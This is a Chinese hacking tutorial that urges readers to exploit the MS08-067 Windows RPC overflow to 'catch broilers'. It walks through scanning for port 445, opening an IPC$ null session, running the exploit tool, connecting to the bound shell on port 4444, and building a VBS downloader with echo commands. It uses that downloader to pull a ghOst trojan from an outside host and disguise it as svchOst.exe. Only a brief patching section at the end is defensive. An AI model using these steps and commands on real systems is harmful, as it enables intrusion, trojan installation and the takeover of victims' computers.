利用遠(yuǎn)程溢出漏洞進(jìn)行攻擊是一種非常有效而且威力巨大的黑客攻擊手段,不過(guò)遠(yuǎn)程溢出漏洞有很強(qiáng)的時(shí)效性,必須要抓緊時(shí)間利用這個(gè)漏洞還未被普遍補(bǔ)上的時(shí)機(jī)進(jìn)行攻擊,一旦過(guò)了這段時(shí)間,漏洞補(bǔ)上之后就很難再重現(xiàn)遠(yuǎn)程溢出攻擊了。微軟windows系統(tǒng)已經(jīng)有一年多沒(méi)有爆出遠(yuǎn)程溢出漏洞了,很多學(xué)黑的小菜都沒(méi)有機(jī)會(huì)學(xué)習(xí)遠(yuǎn)程溢出攻擊,即使學(xué)過(guò)遠(yuǎn)程溢出攻擊,也沒(méi)有可以實(shí)踐的機(jī)會(huì)。2008年10月23日,微軟爆出四年以來(lái)最嚴(yán)重的特大安全漏洞——MS08-067遠(yuǎn)程溢出漏洞,幾乎影響所有Windows系統(tǒng),并且很快成為黑客攻擊和木馬傳播利用的手段,受此漏洞危害的用戶(hù)系統(tǒng)將會(huì)非常之多!讓我們快借此機(jī)會(huì)玩玩遠(yuǎn)程溢出吧!學(xué)過(guò)遠(yuǎn)程溢出的趕緊進(jìn)行實(shí)踐,抓肉雞一抓就得!
又是RPC惹的禍!MS08-067遠(yuǎn)程溢出漏洞簡(jiǎn)介
曾經(jīng)的沖擊波、震蕩波等大規(guī)模攻擊都是由于Windows的RPC服務(wù)漏洞造成的,MS08-067遠(yuǎn)程溢出漏洞也不例外。MS08-067遠(yuǎn)程溢出漏洞的原因是由于Windows系統(tǒng)中RPC存在缺陷造成的,Windows系統(tǒng)的Server服務(wù)在處理特制RPC請(qǐng)求時(shí)存在緩沖區(qū)溢出漏洞。遠(yuǎn)程攻擊者可以通過(guò)發(fā)送惡意的RPC請(qǐng)求觸發(fā)這個(gè)溢出,如果受影響的系統(tǒng)收到了特制偽造的RPC請(qǐng)求,可能允許遠(yuǎn)程執(zhí)行代碼,導(dǎo)致完全入侵用戶(hù)系統(tǒng),以SYSTEM權(quán)限執(zhí)行任意指令并獲取數(shù)據(jù),并獲取對(duì)該系統(tǒng)的控制權(quán),造成系統(tǒng)失竊及系統(tǒng)崩潰等嚴(yán)重問(wèn)題。
受MS08-067遠(yuǎn)程溢出漏洞影響的系統(tǒng)非常多,受影響的操作系統(tǒng)有windowsXP/2000/vista/2003等。除Windows Server2008 Core外,基本上所有的Windows系統(tǒng)都會(huì)遭受此漏洞的攻擊,特別是在windows 2000、windows XP和Windows Server2003系統(tǒng),攻擊者可以利用此漏洞無(wú)需通過(guò)認(rèn)證運(yùn)行任意代碼。這個(gè)漏洞還可能被蠕蟲(chóng)利用,此安全漏洞可以通過(guò)惡意構(gòu)造的網(wǎng)絡(luò)包直接發(fā)起攻擊,并且攻擊者可以獲取完整權(quán)限,因此該漏洞很可能會(huì)被用于制作蠕蟲(chóng)以進(jìn)行大規(guī)模的攻擊。
軍刀再現(xiàn)——漏洞主機(jī)掃描
在利用MS08-067遠(yuǎn)程溢出漏洞進(jìn)行攻擊前,首先要找到要攻擊的主機(jī)目標(biāo)。由于啟用了RPC服務(wù)的Windows系統(tǒng)往往會(huì)開(kāi)放445端口,因此攻擊者只要使用專(zhuān)業(yè)端口掃描工具掃描445端口,即可獲取可溢出的主機(jī)列表。這里使用的是老牌掃描工具——圖標(biāo)是一個(gè)瑞士軍刀的X-Scan。
掃描設(shè)置
步驟1:運(yùn)行X-Scan后,首先需要設(shè)置掃描的目標(biāo)IP地址段。點(diǎn)擊工具欄上的“掃描參數(shù)”按鈕,選擇“檢測(cè)范圍”選項(xiàng),在“指定IP范圍”里可以輸入一個(gè)固定的IP地址或IP地址段。
步驟2:切換到“全局設(shè)置”→“掃描模塊”選項(xiàng),設(shè)置掃描模塊為“開(kāi)放服務(wù)”
步驟3:在“插件設(shè)置”→“端口相關(guān)設(shè)置”中,將待檢測(cè)的端口改為“445”。
步驟4:在“全局設(shè)置”→“其它設(shè)置”中。將掃描類(lèi)型設(shè)置為“無(wú)條件掃描”。
步驟5:最后在“全局設(shè)置”→“掃描報(bào)告”中勾選“掃描完成后自動(dòng)生成并顯示報(bào)告”項(xiàng),設(shè)置完畢后點(diǎn)擊確定按鈕,關(guān)閉對(duì)話框。
步驟6:點(diǎn)擊工具欄上的“開(kāi)始掃描”按鈕,X-scan就開(kāi)始工作了。確定后,即可開(kāi)始進(jìn)行掃描。掃描結(jié)束后。會(huì)自動(dòng)彈出一個(gè)掃描結(jié)果窗口查看到掃描結(jié)果。如果發(fā)現(xiàn)開(kāi)放了445端口的主機(jī),那么這些主機(jī)只要未及時(shí)打上補(bǔ)丁,都很可能遭受攻擊成為入侵者的肉雞!
溢出很輕松MS08-067溢出工具溢出攻擊
現(xiàn)在我們可以一個(gè)一個(gè)的嘗試溢出攻擊掃描出來(lái)的目標(biāo)了。首先。下載溢出攻擊工具“MS08-067遠(yuǎn)程溢出漏洞利用工具”(下載地址:http:/www.youxia.org/upload/2008/10/MS08-067.rar),并將其解壓于C盤(pán)根目錄下。點(diǎn)擊“開(kāi)始”菜單→“運(yùn)行”,輸入命令“CMD”,回車(chē)后打開(kāi)命令提示符窗口。進(jìn)入溢出工具所有的文件夾“Release”目錄下。執(zhí)行命令“MS08-067.exe”,可看到溢出工具命令使用格式為:MS08-067.exe
建立空連接
在攻擊前,首先要與且標(biāo)主機(jī)建立一個(gè)空連接,這里假設(shè)我們要攻擊的目標(biāo)主機(jī)為“192.168.1.8”,可執(zhí)行如下命令:
net use\\\\192.168.1.9\\ipc$
命令執(zhí)行后,即可與遠(yuǎn)程主機(jī)建立一個(gè)空連接。
執(zhí)行遠(yuǎn)程溢出
建立空連接后,即可進(jìn)行溢出攻擊了。攻擊命令如下:
MS08-067.exe 192.168.1.9
執(zhí)行攻擊命令后,溢出程序就會(huì)自動(dòng)與遠(yuǎn)程主機(jī)建立SMB連接。并進(jìn)行溢出攻擊。
溢出返回結(jié)果
溢出攻擊后,往往會(huì)有不同的返回結(jié)果提示信息,一般有三種情況:
如果返回的信息為:
SMB Connect OK!
Maybe Patched!
那么說(shuō)明遠(yuǎn)程主機(jī)上可能已經(jīng)打上了該溢出漏洞補(bǔ)丁,雖然可以建立SMB連接,但是無(wú)法攻擊成功。
如果返回信息為:Make SMB Connection error:53或者M(jìn)ake SMB Connection error:1219,后面的數(shù)字可能是變化的。那么說(shuō)明該主機(jī)沒(méi)有開(kāi)機(jī)聯(lián)網(wǎng)或者沒(méi)有安裝Microsoft網(wǎng)絡(luò)的文件和打印機(jī)共享協(xié)議或沒(méi)有啟動(dòng)Server服務(wù),因此無(wú)法進(jìn)行溢出。
還有—種情況是返回信息為:
SMB Connect OK!
RpcExceptionCode()=1722
出現(xiàn)這樣的情況,溢出失敗,對(duì)方開(kāi)啟了防火墻。
那么最后就是成功的提示信息了:
SMB Connect OK!
Send Payload Over!
出現(xiàn)這樣的提示,說(shuō)明溢出成功,成功的發(fā)送溢出模塊并綁定在了遠(yuǎn)程主機(jī)端口上。
遠(yuǎn)程登錄
現(xiàn)在溢出成功后就可以遠(yuǎn)程登錄了,登錄命令很簡(jiǎn)單:Telnet IP地址4444直接用Telnet連接遠(yuǎn)程主機(jī)IP地址的4444端口就可以了。這里執(zhí)行了命令:Telnet 119.1.41.97 4444
成功的連接上了遠(yuǎn)程主機(jī)。在遠(yuǎn)程主機(jī)上執(zhí)行命令“netstat-an”時(shí),可以看到開(kāi)放了4444端口,這就是溢出打開(kāi)的端口。
抓雞,一個(gè)VBS搞定
現(xiàn)在我們可以在遠(yuǎn)程主機(jī)上任意添加管理員帳戶(hù),或者開(kāi)啟3389遠(yuǎn)程桌面進(jìn)行連接。不過(guò)最簡(jiǎn)單的還是用木馬來(lái)進(jìn)行攻擊。
配置木馬
首先,配置一個(gè)木馬服務(wù)端程序,這里我選擇了“ghOst3.6”。這個(gè)木馬可以過(guò)瑞星和卡巴斯基的主動(dòng)防御,非常強(qiáng)!將木馬上傳到某個(gè)空間中,然后在遠(yuǎn)程主機(jī)上執(zhí)行命令:“taslist”,命令執(zhí)行后可查看遠(yuǎn)程主機(jī)上的所有進(jìn)程。這里我們發(fā)現(xiàn)遠(yuǎn)程主機(jī)未開(kāi)啟任何防火墻和殺毒軟件,而且發(fā)現(xiàn)對(duì)方正在玩QQ游戲斗地主。沒(méi)有運(yùn)行殺毒軟件的話,可以直接上傳木馬。連免殺都不用。如果發(fā)現(xiàn)殺毒軟件進(jìn)程的話,可以有針對(duì)性的進(jìn)行免殺。
生成下載腳本
然后在遠(yuǎn)程命令窗口中執(zhí)行如下命令:echo iLocal=LCase(WScript Arguments(1))>iget.vbeecho iRemote=LCase(WScript.Arguments(0))>>iget.vheecho Set xPost=CreateObject(“Microsoft.XMLHTTP”)>>iget.vbeecho xPost.Open“GET”,iRemote,0>>iget.vbeecho xPost.Send0>>iget.vheecho Set sGet=CreateObject(“ADODB.Stream”)>>iget.vbeecho sGet.Mode=3>>iget.vbeecho sGet.Type=1>>iget.vheecho sGet.Open0>>iget.vbeecho sGet.Write(xPost.responseBody)>>iget.vbeecho sGet.SaveToFile iLocal,2>>iget.vhe
命令執(zhí)行后,可在遠(yuǎn)程主機(jī)當(dāng)前目錄下生成一個(gè)名為“iget.vbe”的腳本文件。
下載運(yùn)行木馬
生成下載腳本后,就可以用腳本下載運(yùn)行木馬程序了。這里我們上傳的木馬連接地址為“http://xiaopuma.glcp.net:81/server.exe”,因此執(zhí)行如下命令:
cscript iget.vbe http://xiaopuma.glcp.net:81/server.exe svchOst.exe
前面的“cscript”是用于執(zhí)行腳本的,后面的“svchOst.exe”是下載木馬后保存的文件名。命令執(zhí)行后,木馬就被下載到遠(yuǎn)程主機(jī)上了。在命令行窗口中執(zhí)行“svchOst.exe”,即可成功運(yùn)行木馬程序。
用木馬客戶(hù)端連接木馬,一臺(tái)肉雞就到手啦!筆者在測(cè)試過(guò)程中。發(fā)現(xiàn)MS08-067遠(yuǎn)程溢出成功率可達(dá)30%以上。一般來(lái)說(shuō),只要遠(yuǎn)程主機(jī)上未安裝防火墻,并且同時(shí)開(kāi)啟了Computer Browser、Server、Workstation這三個(gè)系統(tǒng)服務(wù),并且存在此溢出漏洞,通常都可以溢出成功。
防范MS08-067遠(yuǎn)程溢出
由于MS08-067遠(yuǎn)程溢出危害非常大,因此有必要對(duì)其進(jìn)行防范。但是由于前段時(shí)間的微軟“黑屏”事件讓不少用戶(hù)成了關(guān)閉了自動(dòng)更新,寧可系統(tǒng)漏洞百出也不去打補(bǔ)丁。于是此漏洞在許多主機(jī)上都存在。給黑客利用MS08-067漏洞進(jìn)行攻擊提供了可乘之機(jī)。其實(shí)造成盜版用戶(hù)黑屏的補(bǔ)丁是KB892130,這個(gè)漏洞的安全補(bǔ)丁編號(hào)是KB958644,我們只要安裝此補(bǔ)丁就可以了,也可以通過(guò)第三方工具,下載補(bǔ)丁包打上該補(bǔ)丁。
另外,將Computer Browser、Server、Workstation這三個(gè)系統(tǒng)服務(wù)關(guān)閉,畢竟這三個(gè)服務(wù)在大多數(shù)情況下是用不到的。同時(shí),為了防止以后RPC又出現(xiàn)什么漏洞,最好是安裝防火墻,關(guān)閉本機(jī)的445端口。